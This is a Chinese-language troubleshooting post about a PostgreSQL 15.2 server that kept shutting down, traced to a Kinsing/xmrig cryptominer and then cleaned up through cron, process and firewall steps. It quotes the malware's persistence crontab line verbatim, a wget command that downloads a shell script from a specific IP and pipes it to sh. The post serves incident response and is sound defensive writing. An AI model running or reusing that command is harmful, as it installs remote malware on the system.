新装一台数据库服务器。操作系统为ubuntu20.04,安装了最新版Postgresql,15.2版。使用过程中经常且无规律掉线。花费了4~5天时间,加班加点,最终发现是xmrig挖矿病毒所致。清除病毒后数据库工作正常。
一、故障现象
Postgresql经常且无规律掉线。掉线时状态如下:
$ systemctl status postgres*
× postgresql@15-main.service - PostgreSQL Cluster 15-main
Loaded: loaded (/lib/systemd/system/postgresql@.service; enabled-runtime; vendor preset: enabled)
Active: failed (Result: exit-code) since Fri 2023-04-14 16:49:04 CST; 21min ago
Process: 9032 ExecStart=/usr/bin/pg_ctlcluster --skip-systemctl-redirect 15-main start (code=exited, status=0/SUCCESS)
Process: 9889 ExecStop=/usr/bin/pg_ctlcluster --skip-systemctl-redirect -m fast 15-main stop (code=exited, status=2)
Main PID: 9037 (code=exited, status=0/SUCCESS)
Control process exited, code=exited, status=2/INVALIDARGUMENT
二、排除硬件问题
因是新服务器,首先怀疑硬件问题。但一圈内存、硬盘测试下来,硬件无问题。厂家也保证硬件合格。
二、正常关闭终端
网上有人说:在终端,如Putty中操作过pg。关闭终端,postgresql程序就会退出。需要正常退出所有终端。因此特别注意没有直接关闭Putty窗口,而是用命令exit退出Putty。没有解决问题,Postgresql依旧无规律掉线。
更进一步,为了让Postgresql在关闭终端或者退出账号进程也继续保持运行状态,启用了命令nohup。
$ sudo nohup systemctl start postgresql
还是没有解决问题。
三、启用TCP协议的心跳机制
CSDN文章《PG数据库(Postgresql)解决远程易掉线问题》
链接为:PG数据库(Postgresql)解决远程易掉线问题_yanzhaoxun的博客-CSDN博客
指出:一般电信服务商在一个TCP连接没有任何往来数据长达1分钟以上,会自动切断此连接。解决办法也很简单,让PG数据库对连接启用TCP协议的心跳机制,打破沉默,避免被电信服务商误杀。
修改配置文件
$ sudo vim /etc/postgresql/15/main/postgresql.conf
将以下三处的前面#去掉,并且把默认值0换成如下
tcp_keepalives_idle = 20 #20秒主动发心跳
tcp_keepalives_interval = 10 #10秒未收到返回心跳则本心跳失败
tcp_keepalives_count = 3 #连续3次心跳失败则主动断线
然后重启PG数据库即可
$ sudo systemctl restart postgresql
同样没有未解决问题
四、陷入困境
一度怀疑最新版Postgresql15.2有缺陷,准备删除安装14版。考虑到Postgresql为老牌数据库,不可能犯低级错误。在网上转了一圈,没有其他人报告说Postgresql15.2有同样问题。看来不是Postgresql15.2。
服务器上还运行着一个Django工程,部署在gunicorn上。又怀疑是不是gunicorn导致的Postgresql掉线。
五、查看日志,发现问题
网上也没有类似报告,也没有查到解决方案。没有其它办法,只能仔细研究Postgresql日志了。打开日志,逐条观看。
$ vim /var/log/postgresql/postgresql-15-main.log
在日志中看到”c3pool_miner.service”,疑似病毒。
Failed to stop c3pool_miner.service: Interactive authentication required.
See system logs and 'systemctl status c3pool_miner.service' for details.
网上一查,果然是xmrig挖矿病毒。
六、清除xmrig挖矿病毒
发现问题所在,网上很多清除该病毒的方法。
1、top查看
CPU占用不高。奇怪的是,别人报告中了xmrig挖矿病毒,CPU占用很高,因为病毒偷用服务器资源挖矿。我的服务器CPU占用是正常的。这也是迷惑我的地方之一。
找到挖矿程序(kdevtmpfsi)进程号。杀死这些进程。
2、查看定时任务
$ crontab -l
* * * * * wget -q -O - http://185.122.204.197/pg.sh | sh > /dev/null 2>&1
删除定时任务。该定时任务在Postgresql用户postgres名下。
$ crontab -e
$ service cron restart
3、全局搜索pg.sh
$ sudo find / -name pg.sh //无结果
$ cat /dev/null //无内容
4、全局搜索crond配置文件
$ sudo find / -name cron* -type d
/var/spool/cron
/var/spool/cron/crontabs
/usr/share/doc/cron
/usr/share/bug/cron
/etc/cron.weekly
/etc/cron.d
/etc/cron.monthly
/etc/cron.daily
/etc/cron.hourly
/snap/core20/1826/etc/cron.d
/snap/core20/1856/etc/cron.d
/sys/fs/cgroup/system.slice/cron.service
5、删除 /var/spool/cron 中的数据
重启crond服务
$ service crond restart
6、加入ufw黑名单
$ sudo ufw deny from 185.122.204.197/24
Rule added
7、删除文件
# find / -name kdevtmpfsi //无结果
# find / -name kinsing // 结果为:/tmp/kinsing
# rm -rf /tmp/kinsing
七、服务器工作正常
清除xmrig挖矿病毒,服务器工作正常。至今已经不间断工作10多天,没有一次掉线。
十、被忽视的网络信息
服务器工作正常了,忽然想起,网上似乎有人回答过这种情况。重新搜索,找出这篇:
Posgresql 12 shuts down randomly
https://askubuntu.com/questions/1382241/postgresql-12-shuts-down-randomly
该信息被忽视是因为只有一个回答,且回答只有一句话:
1 Answer
Kinsing miner was the reason... After cleaning cron and malwares the problem is gone.
浏览到此,没有在意就跳过了。如果阅读一下这名话,可以省下4、5天加班加点。这也是教训之一。